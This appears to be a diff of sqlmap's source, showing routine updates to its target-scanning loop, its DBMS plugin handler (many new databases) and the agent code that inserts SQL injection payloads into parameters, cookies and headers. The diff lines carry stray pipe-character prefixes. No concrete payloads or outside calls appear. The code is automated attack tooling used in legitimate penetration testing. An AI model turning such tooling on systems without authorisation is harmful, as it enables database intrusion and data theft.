from lib.core.enums import PAYLOAD
|
from lib.core.enums import PAYLOAD
|
||||||
from lib.core.enums import PLACE
|
from lib.core.enums import PLACE
|
||||||
from lib.core.exception import SqlmapBaseException
|
from lib.core.exception import SqlmapBaseException
|
||||||
|
from lib.core.exception import SqlmapConnectionException
|
||||||
from lib.core.exception import SqlmapNoneDataException
|
from lib.core.exception import SqlmapNoneDataException
|
||||||
from lib.core.exception import SqlmapNotVulnerableException
|
from lib.core.exception import SqlmapNotVulnerableException
|
||||||
from lib.core.exception import SqlmapSilentQuitException
|
from lib.core.exception import SqlmapSilentQuitException
|
||||||
@@ -129,7 +132,7 @@ def _selectInjection():
|
|||||||
message += "[q] Quit"
|
message += "[q] Quit"
|
||||||
choice = readInput(message, default='0').upper()
|
choice = readInput(message, default='0').upper()
|
||||||
|
|
||||||
if choice.isdigit() and int(choice) < len(kb.injections) and int(choice) >= 0:
|
if isDigit(choice) and int(choice) < len(kb.injections) and int(choice) >= 0:
|
||||||
index = int(choice)
|
index = int(choice)
|
||||||
elif choice == 'Q':
|
elif choice == 'Q':
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
@@ -202,10 +205,11 @@ def _randomFillBlankFields(value):
|
|||||||
for match in re.finditer(EMPTY_FORM_FIELDS_REGEX, retVal):
|
for match in re.finditer(EMPTY_FORM_FIELDS_REGEX, retVal):
|
||||||
item = match.group("result")
|
item = match.group("result")
|
||||||
if not any(_ in item for _ in IGNORE_PARAMETERS) and not re.search(ASP_NET_CONTROL_REGEX, item):
|
if not any(_ in item for _ in IGNORE_PARAMETERS) and not re.search(ASP_NET_CONTROL_REGEX, item):
|
||||||
|
newValue = randomStr() if not re.search(r"^id|id$", item, re.I) else randomInt()
|
||||||
if item[-1] == DEFAULT_GET_POST_DELIMITER:
|
if item[-1] == DEFAULT_GET_POST_DELIMITER:
|
||||||
retVal = retVal.replace(item, "%s%s%s" % (item[:-1], randomStr(), DEFAULT_GET_POST_DELIMITER))
|
retVal = retVal.replace(item, "%s%s%s" % (item[:-1], newValue, DEFAULT_GET_POST_DELIMITER))
|
||||||
else:
|
else:
|
||||||
retVal = retVal.replace(item, "%s%s" % (item, randomStr()))
|
retVal = retVal.replace(item, "%s%s" % (item, newValue))
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
@@ -256,13 +260,9 @@ def _saveToResultsFile():
|
|||||||
line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
|
line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
|
||||||
conf.resultsFP.write(line)
|
conf.resultsFP.write(line)
|
||||||
|
|
||||||
if not results:
|
|
||||||
line = "%s,,,,%s" % (conf.url, os.linesep)
|
|
||||||
conf.resultsFP.write(line)
|
|
||||||
|
|
||||||
conf.resultsFP.flush()
|
conf.resultsFP.flush()
|
||||||
except IOError as ex:
|
except IOError as ex:
|
||||||
errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFilename, getSafeExString(ex))
|
errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFile, getSafeExString(ex))
|
||||||
raise SqlmapSystemException(errMsg)
|
raise SqlmapSystemException(errMsg)
|
||||||
|
|
||||||
@stackedmethod
|
@stackedmethod
|
||||||
@@ -292,7 +292,7 @@ def start():
|
|||||||
return False
|
return False
|
||||||
|
|
||||||
if kb.targets and len(kb.targets) > 1:
|
if kb.targets and len(kb.targets) > 1:
|
||||||
infoMsg = "sqlmap got a total of %d targets" % len(kb.targets)
|
infoMsg = "found a total of %d targets" % len(kb.targets)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
hostCount = 0
|
hostCount = 0
|
||||||
@@ -300,7 +300,6 @@ def start():
|
|||||||
|
|
||||||
for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
|
for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
|
||||||
try:
|
try:
|
||||||
|
|
||||||
if conf.checkInternet:
|
if conf.checkInternet:
|
||||||
infoMsg = "checking for Internet connection"
|
infoMsg = "checking for Internet connection"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -309,14 +308,23 @@ def start():
|
|||||||
warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X")
|
warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X")
|
||||||
dataToStdout(warnMsg)
|
dataToStdout(warnMsg)
|
||||||
|
|
||||||
while not checkInternet():
|
valid = False
|
||||||
dataToStdout('.')
|
for _ in xrange(conf.retries):
|
||||||
time.sleep(5)
|
if checkInternet():
|
||||||
|
valid = True
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
dataToStdout('.')
|
||||||
|
time.sleep(5)
|
||||||
|
|
||||||
dataToStdout("\n")
|
if not valid:
|
||||||
|
errMsg = "please check your Internet connection and rerun"
|
||||||
|
raise SqlmapConnectionException(errMsg)
|
||||||
|
else:
|
||||||
|
dataToStdout("\n")
|
||||||
|
|
||||||
conf.url = targetUrl
|
conf.url = targetUrl
|
||||||
conf.method = targetMethod.upper() if targetMethod else targetMethod
|
conf.method = targetMethod.upper().strip() if targetMethod else targetMethod
|
||||||
conf.data = targetData
|
conf.data = targetData
|
||||||
conf.cookie = targetCookie
|
conf.cookie = targetCookie
|
||||||
conf.httpHeaders = list(initialHeaders)
|
conf.httpHeaders = list(initialHeaders)
|
||||||
@@ -374,7 +382,7 @@ def start():
|
|||||||
message += "\nCookie: %s" % conf.cookie
|
message += "\nCookie: %s" % conf.cookie
|
||||||
|
|
||||||
if conf.data is not None:
|
if conf.data is not None:
|
||||||
message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data) if conf.data else "")
|
message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
|
||||||
|
|
||||||
if conf.forms and conf.method:
|
if conf.forms and conf.method:
|
||||||
if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
|
if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
|
||||||
@@ -389,7 +397,7 @@ def start():
|
|||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
if conf.method != HTTPMETHOD.GET:
|
if conf.method != HTTPMETHOD.GET:
|
||||||
message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "")
|
message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "None") is None else conf.data, " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "")
|
||||||
conf.data = readInput(message, default=conf.data)
|
conf.data = readInput(message, default=conf.data)
|
||||||
conf.data = _randomFillBlankFields(conf.data)
|
conf.data = _randomFillBlankFields(conf.data)
|
||||||
conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data
|
conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data
|
||||||
@@ -405,14 +413,17 @@ def start():
|
|||||||
parseTargetUrl()
|
parseTargetUrl()
|
||||||
|
|
||||||
else:
|
else:
|
||||||
message += "\ndo you want to test this URL? [Y/n/q]"
|
if not conf.scope:
|
||||||
choice = readInput(message, default='Y').upper()
|
message += "\ndo you want to test this URL? [Y/n/q]"
|
||||||
|
choice = readInput(message, default='Y').upper()
|
||||||
|
|
||||||
if choice == 'N':
|
if choice == 'N':
|
||||||
dataToStdout(os.linesep)
|
dataToStdout(os.linesep)
|
||||||
continue
|
continue
|
||||||
elif choice == 'Q':
|
elif choice == 'Q':
|
||||||
break
|
break
|
||||||
|
else:
|
||||||
|
pass
|
||||||
|
|
||||||
infoMsg = "testing URL '%s'" % targetUrl
|
infoMsg = "testing URL '%s'" % targetUrl
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -458,18 +469,18 @@ def start():
|
|||||||
for place in parameters:
|
for place in parameters:
|
||||||
# Test User-Agent and Referer headers only if
|
# Test User-Agent and Referer headers only if
|
||||||
# --level >= 3
|
# --level >= 3
|
||||||
skip = (place == PLACE.USER_AGENT and conf.level < 3)
|
skip = (place == PLACE.USER_AGENT and (kb.testOnlyCustom or conf.level < 3))
|
||||||
skip |= (place == PLACE.REFERER and conf.level < 3)
|
skip |= (place == PLACE.REFERER and (kb.testOnlyCustom or conf.level < 3))
|
||||||
|
|
||||||
# --param-filter
|
# --param-filter
|
||||||
skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter)
|
skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter)
|
||||||
|
|
||||||
# Test Host header only if
|
# Test Host header only if
|
||||||
# --level >= 5
|
# --level >= 5
|
||||||
skip |= (place == PLACE.HOST and conf.level < 5)
|
skip |= (place == PLACE.HOST and (kb.testOnlyCustom or conf.level < 5))
|
||||||
|
|
||||||
# Test Cookie header only if --level >= 2
|
# Test Cookie header only if --level >= 2
|
||||||
skip |= (place == PLACE.COOKIE and conf.level < 2)
|
skip |= (place == PLACE.COOKIE and (kb.testOnlyCustom or conf.level < 2))
|
||||||
|
|
||||||
skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
|
skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
|
||||||
skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None))
|
skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None))
|
||||||
@@ -484,9 +495,6 @@ def start():
|
|||||||
if skip:
|
if skip:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
if kb.testOnlyCustom and place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
|
|
||||||
continue
|
|
||||||
|
|
||||||
if place not in conf.paramDict:
|
if place not in conf.paramDict:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
@@ -740,9 +748,9 @@ def start():
|
|||||||
logger.info("fetched data logged to text files under '%s'" % conf.outputPath)
|
logger.info("fetched data logged to text files under '%s'" % conf.outputPath)
|
||||||
|
|
||||||
if conf.multipleTargets:
|
if conf.multipleTargets:
|
||||||
if conf.resultsFilename:
|
if conf.resultsFile:
|
||||||
infoMsg = "you can find results of scanning in multiple targets "
|
infoMsg = "you can find results of scanning in multiple targets "
|
||||||
infoMsg += "mode inside the CSV file '%s'" % conf.resultsFilename
|
infoMsg += "mode inside the CSV file '%s'" % conf.resultsFile
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -11,47 +11,83 @@ from lib.core.data import kb
|
|||||||
from lib.core.dicts import DBMS_DICT
|
from lib.core.dicts import DBMS_DICT
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
from lib.core.exception import SqlmapConnectionException
|
from lib.core.exception import SqlmapConnectionException
|
||||||
|
from lib.core.settings import ACCESS_ALIASES
|
||||||
|
from lib.core.settings import ALTIBASE_ALIASES
|
||||||
|
from lib.core.settings import CACHE_ALIASES
|
||||||
|
from lib.core.settings import CRATEDB_ALIASES
|
||||||
|
from lib.core.settings import CUBRID_ALIASES
|
||||||
|
from lib.core.settings import DB2_ALIASES
|
||||||
|
from lib.core.settings import DERBY_ALIASES
|
||||||
|
from lib.core.settings import EXTREMEDB_ALIASES
|
||||||
|
from lib.core.settings import FIREBIRD_ALIASES
|
||||||
|
from lib.core.settings import FRONTBASE_ALIASES
|
||||||
|
from lib.core.settings import H2_ALIASES
|
||||||
|
from lib.core.settings import HSQLDB_ALIASES
|
||||||
|
from lib.core.settings import INFORMIX_ALIASES
|
||||||
|
from lib.core.settings import MAXDB_ALIASES
|
||||||
|
from lib.core.settings import MCKOI_ALIASES
|
||||||
|
from lib.core.settings import MIMERSQL_ALIASES
|
||||||
|
from lib.core.settings import MONETDB_ALIASES
|
||||||
from lib.core.settings import MSSQL_ALIASES
|
from lib.core.settings import MSSQL_ALIASES
|
||||||
from lib.core.settings import MYSQL_ALIASES
|
from lib.core.settings import MYSQL_ALIASES
|
||||||
from lib.core.settings import ORACLE_ALIASES
|
from lib.core.settings import ORACLE_ALIASES
|
||||||
from lib.core.settings import PGSQL_ALIASES
|
from lib.core.settings import PGSQL_ALIASES
|
||||||
|
from lib.core.settings import PRESTO_ALIASES
|
||||||
from lib.core.settings import SQLITE_ALIASES
|
from lib.core.settings import SQLITE_ALIASES
|
||||||
from lib.core.settings import ACCESS_ALIASES
|
|
||||||
from lib.core.settings import FIREBIRD_ALIASES
|
|
||||||
from lib.core.settings import MAXDB_ALIASES
|
|
||||||
from lib.core.settings import SYBASE_ALIASES
|
from lib.core.settings import SYBASE_ALIASES
|
||||||
from lib.core.settings import DB2_ALIASES
|
from lib.core.settings import VERTICA_ALIASES
|
||||||
from lib.core.settings import HSQLDB_ALIASES
|
|
||||||
from lib.core.settings import H2_ALIASES
|
|
||||||
from lib.core.settings import INFORMIX_ALIASES
|
|
||||||
from lib.utils.sqlalchemy import SQLAlchemy
|
from lib.utils.sqlalchemy import SQLAlchemy
|
||||||
|
|
||||||
from plugins.dbms.mssqlserver import MSSQLServerMap
|
|
||||||
from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
|
|
||||||
from plugins.dbms.mysql import MySQLMap
|
|
||||||
from plugins.dbms.mysql.connector import Connector as MySQLConn
|
|
||||||
from plugins.dbms.oracle import OracleMap
|
|
||||||
from plugins.dbms.oracle.connector import Connector as OracleConn
|
|
||||||
from plugins.dbms.postgresql import PostgreSQLMap
|
|
||||||
from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
|
|
||||||
from plugins.dbms.sqlite import SQLiteMap
|
|
||||||
from plugins.dbms.sqlite.connector import Connector as SQLiteConn
|
|
||||||
from plugins.dbms.access import AccessMap
|
|
||||||
from plugins.dbms.access.connector import Connector as AccessConn
|
from plugins.dbms.access.connector import Connector as AccessConn
|
||||||
from plugins.dbms.firebird import FirebirdMap
|
from plugins.dbms.access import AccessMap
|
||||||
from plugins.dbms.firebird.connector import Connector as FirebirdConn
|
from plugins.dbms.altibase.connector import Connector as AltibaseConn
|
||||||
from plugins.dbms.maxdb import MaxDBMap
|
from plugins.dbms.altibase import AltibaseMap
|
||||||
from plugins.dbms.maxdb.connector import Connector as MaxDBConn
|
from plugins.dbms.cache.connector import Connector as CacheConn
|
||||||
from plugins.dbms.sybase import SybaseMap
|
from plugins.dbms.cache import CacheMap
|
||||||
from plugins.dbms.sybase.connector import Connector as SybaseConn
|
from plugins.dbms.cratedb.connector import Connector as CrateDBConn
|
||||||
from plugins.dbms.db2 import DB2Map
|
from plugins.dbms.cratedb import CrateDBMap
|
||||||
|
from plugins.dbms.cubrid.connector import Connector as CubridConn
|
||||||
|
from plugins.dbms.cubrid import CubridMap
|
||||||
from plugins.dbms.db2.connector import Connector as DB2Conn
|
from plugins.dbms.db2.connector import Connector as DB2Conn
|
||||||
from plugins.dbms.hsqldb import HSQLDBMap
|
from plugins.dbms.db2 import DB2Map
|
||||||
from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
|
from plugins.dbms.derby.connector import Connector as DerbyConn
|
||||||
from plugins.dbms.h2 import H2Map
|
from plugins.dbms.derby import DerbyMap
|
||||||
|
from plugins.dbms.extremedb.connector import Connector as ExtremeDBConn
|
||||||
|
from plugins.dbms.extremedb import ExtremeDBMap
|
||||||
|
from plugins.dbms.firebird.connector import Connector as FirebirdConn
|
||||||
|
from plugins.dbms.firebird import FirebirdMap
|
||||||
|
from plugins.dbms.frontbase.connector import Connector as FrontBaseConn
|
||||||
|
from plugins.dbms.frontbase import FrontBaseMap
|
||||||
from plugins.dbms.h2.connector import Connector as H2Conn
|
from plugins.dbms.h2.connector import Connector as H2Conn
|
||||||
from plugins.dbms.informix import InformixMap
|
from plugins.dbms.h2 import H2Map
|
||||||
|
from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
|
||||||
|
from plugins.dbms.hsqldb import HSQLDBMap
|
||||||
from plugins.dbms.informix.connector import Connector as InformixConn
|
from plugins.dbms.informix.connector import Connector as InformixConn
|
||||||
|
from plugins.dbms.informix import InformixMap
|
||||||
|
from plugins.dbms.maxdb.connector import Connector as MaxDBConn
|
||||||
|
from plugins.dbms.maxdb import MaxDBMap
|
||||||
|
from plugins.dbms.mckoi.connector import Connector as MckoiConn
|
||||||
|
from plugins.dbms.mckoi import MckoiMap
|
||||||
|
from plugins.dbms.mimersql.connector import Connector as MimerSQLConn
|
||||||
|
from plugins.dbms.mimersql import MimerSQLMap
|
||||||
|
from plugins.dbms.monetdb.connector import Connector as MonetDBConn
|
||||||
|
from plugins.dbms.monetdb import MonetDBMap
|
||||||
|
from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
|
||||||
|
from plugins.dbms.mssqlserver import MSSQLServerMap
|
||||||
|
from plugins.dbms.mysql.connector import Connector as MySQLConn
|
||||||
|
from plugins.dbms.mysql import MySQLMap
|
||||||
|
from plugins.dbms.oracle.connector import Connector as OracleConn
|
||||||
|
from plugins.dbms.oracle import OracleMap
|
||||||
|
from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
|
||||||
|
from plugins.dbms.postgresql import PostgreSQLMap
|
||||||
|
from plugins.dbms.presto.connector import Connector as PrestoConn
|
||||||
|
from plugins.dbms.presto import PrestoMap
|
||||||
|
from plugins.dbms.sqlite.connector import Connector as SQLiteConn
|
||||||
|
from plugins.dbms.sqlite import SQLiteMap
|
||||||
|
from plugins.dbms.sybase.connector import Connector as SybaseConn
|
||||||
|
from plugins.dbms.sybase import SybaseMap
|
||||||
|
from plugins.dbms.vertica.connector import Connector as VerticaConn
|
||||||
|
from plugins.dbms.vertica import VerticaMap
|
||||||
|
|
||||||
def setHandler():
|
def setHandler():
|
||||||
"""
|
"""
|
||||||
@@ -73,6 +109,18 @@ def setHandler():
|
|||||||
(DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
|
(DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
|
||||||
(DBMS.H2, H2_ALIASES, H2Map, H2Conn),
|
(DBMS.H2, H2_ALIASES, H2Map, H2Conn),
|
||||||
(DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
|
(DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
|
||||||
|
(DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, MonetDBConn),
|
||||||
|
(DBMS.DERBY, DERBY_ALIASES, DerbyMap, DerbyConn),
|
||||||
|
(DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, VerticaConn),
|
||||||
|
(DBMS.MCKOI, MCKOI_ALIASES, MckoiMap, MckoiConn),
|
||||||
|
(DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn),
|
||||||
|
(DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn),
|
||||||
|
(DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn),
|
||||||
|
(DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn),
|
||||||
|
(DBMS.CUBRID, CUBRID_ALIASES, CubridMap, CubridConn),
|
||||||
|
(DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn),
|
||||||
|
(DBMS.EXTREMEDB, EXTREMEDB_ALIASES, ExtremeDBMap, ExtremeDBConn),
|
||||||
|
(DBMS.FRONTBASE, FRONTBASE_ALIASES, FrontBaseMap, FrontBaseConn),
|
||||||
]
|
]
|
||||||
|
|
||||||
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
|
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,11 +1,10 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import base64
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.common import Backend
|
from lib.core.common import Backend
|
||||||
@@ -14,6 +13,7 @@ from lib.core.common import filterNone
|
|||||||
from lib.core.common import getSQLSnippet
|
from lib.core.common import getSQLSnippet
|
||||||
from lib.core.common import getTechnique
|
from lib.core.common import getTechnique
|
||||||
from lib.core.common import getTechniqueData
|
from lib.core.common import getTechniqueData
|
||||||
|
from lib.core.common import hashDBRetrieve
|
||||||
from lib.core.common import isDBMSVersionAtLeast
|
from lib.core.common import isDBMSVersionAtLeast
|
||||||
from lib.core.common import isNumber
|
from lib.core.common import isNumber
|
||||||
from lib.core.common import isTechniqueAvailable
|
from lib.core.common import isTechniqueAvailable
|
||||||
@@ -27,6 +27,7 @@ from lib.core.common import unArrayizeValue
|
|||||||
from lib.core.common import urlencode
|
from lib.core.common import urlencode
|
||||||
from lib.core.common import zeroDepthSearch
|
from lib.core.common import zeroDepthSearch
|
||||||
from lib.core.compat import xrange
|
from lib.core.compat import xrange
|
||||||
|
from lib.core.convert import encodeBase64
|
||||||
from lib.core.convert import getUnicode
|
from lib.core.convert import getUnicode
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
@@ -34,6 +35,8 @@ from lib.core.data import queries
|
|||||||
from lib.core.dicts import DUMP_DATA_PREPROCESS
|
from lib.core.dicts import DUMP_DATA_PREPROCESS
|
||||||
from lib.core.dicts import FROM_DUMMY_TABLE
|
from lib.core.dicts import FROM_DUMMY_TABLE
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.enums import FORK
|
||||||
|
from lib.core.enums import HASHDB_KEYS
|
||||||
from lib.core.enums import HTTP_HEADER
|
from lib.core.enums import HTTP_HEADER
|
||||||
from lib.core.enums import PAYLOAD
|
from lib.core.enums import PAYLOAD
|
||||||
from lib.core.enums import PLACE
|
from lib.core.enums import PLACE
|
||||||
@@ -44,12 +47,14 @@ from lib.core.settings import BOUNDED_INJECTION_MARKER
|
|||||||
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
||||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||||
from lib.core.settings import GENERIC_SQL_COMMENT
|
from lib.core.settings import GENERIC_SQL_COMMENT
|
||||||
|
from lib.core.settings import GENERIC_SQL_COMMENT_MARKER
|
||||||
from lib.core.settings import INFERENCE_MARKER
|
from lib.core.settings import INFERENCE_MARKER
|
||||||
from lib.core.settings import NULL
|
from lib.core.settings import NULL
|
||||||
from lib.core.settings import PAYLOAD_DELIMITER
|
from lib.core.settings import PAYLOAD_DELIMITER
|
||||||
from lib.core.settings import REPLACEMENT_MARKER
|
from lib.core.settings import REPLACEMENT_MARKER
|
||||||
from lib.core.settings import SINGLE_QUOTE_MARKER
|
from lib.core.settings import SINGLE_QUOTE_MARKER
|
||||||
from lib.core.settings import SLEEP_TIME_MARKER
|
from lib.core.settings import SLEEP_TIME_MARKER
|
||||||
|
from lib.core.settings import UNICODE_ENCODING
|
||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
from thirdparty import six
|
from thirdparty import six
|
||||||
|
|
||||||
@@ -120,7 +125,7 @@ class Agent(object):
|
|||||||
paramString = origValue
|
paramString = origValue
|
||||||
origValue = origValue.split(kb.customInjectionMark)[0]
|
origValue = origValue.split(kb.customInjectionMark)[0]
|
||||||
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
|
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
|
||||||
origValue = origValue.split('>')[-1]
|
origValue = re.split(r"['\">]", origValue)[-1]
|
||||||
elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
|
elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
|
||||||
origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P<result>\d+\Z)", origValue) or extractRegexResult(r'(?s)[\s:]*(?P<result>[^"\[,]+\Z)', origValue)
|
origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P<result>\d+\Z)", origValue) or extractRegexResult(r'(?s)[\s:]*(?P<result>[^"\[,]+\Z)', origValue)
|
||||||
else:
|
else:
|
||||||
@@ -170,17 +175,23 @@ class Agent(object):
|
|||||||
|
|
||||||
if re.sub(r" \(.+", "", parameter) in conf.base64Parameter:
|
if re.sub(r" \(.+", "", parameter) in conf.base64Parameter:
|
||||||
# TODO: support for POST_HINT
|
# TODO: support for POST_HINT
|
||||||
newValue = base64.b64encode(newValue)
|
newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
||||||
origValue = base64.b64encode(origValue)
|
origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
||||||
|
|
||||||
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
|
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
|
||||||
_ = "%s%s" % (origValue, kb.customInjectionMark)
|
_ = "%s%s" % (origValue, kb.customInjectionMark)
|
||||||
|
|
||||||
if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
|
if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
|
||||||
newValue = '"%s"' % newValue
|
newValue = '"%s"' % self.addPayloadDelimiters(newValue)
|
||||||
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and "'%s'" % _ not in paramString:
|
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and "'%s'" % _ not in paramString:
|
||||||
newValue = "'%s'" % newValue
|
newValue = "'%s'" % self.addPayloadDelimiters(newValue)
|
||||||
newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
|
else:
|
||||||
retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
|
newValue = self.addPayloadDelimiters(newValue)
|
||||||
|
|
||||||
|
if newValue:
|
||||||
|
newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
|
||||||
|
retVal = paramString.replace(_, newValue)
|
||||||
|
|
||||||
retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
|
retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
|
||||||
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
|
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
|
||||||
retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
|
retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
|
||||||
@@ -242,7 +253,7 @@ class Agent(object):
|
|||||||
|
|
||||||
# If we are replacing (<where>) the parameter original value with
|
# If we are replacing (<where>) the parameter original value with
|
||||||
# our payload do not prepend with the prefix
|
# our payload do not prepend with the prefix
|
||||||
if where == PAYLOAD.WHERE.REPLACE:
|
if where == PAYLOAD.WHERE.REPLACE and not conf.prefix: # Note: https://github.com/sqlmapproject/sqlmap/issues/4030
|
||||||
query = ""
|
query = ""
|
||||||
|
|
||||||
# If the technique is stacked queries (<stype>) do not put a space
|
# If the technique is stacked queries (<stype>) do not put a space
|
||||||
@@ -289,8 +300,9 @@ class Agent(object):
|
|||||||
where = getTechniqueData().where if where is None else where
|
where = getTechniqueData().where if where is None else where
|
||||||
comment = getTechniqueData().comment if comment is None else comment
|
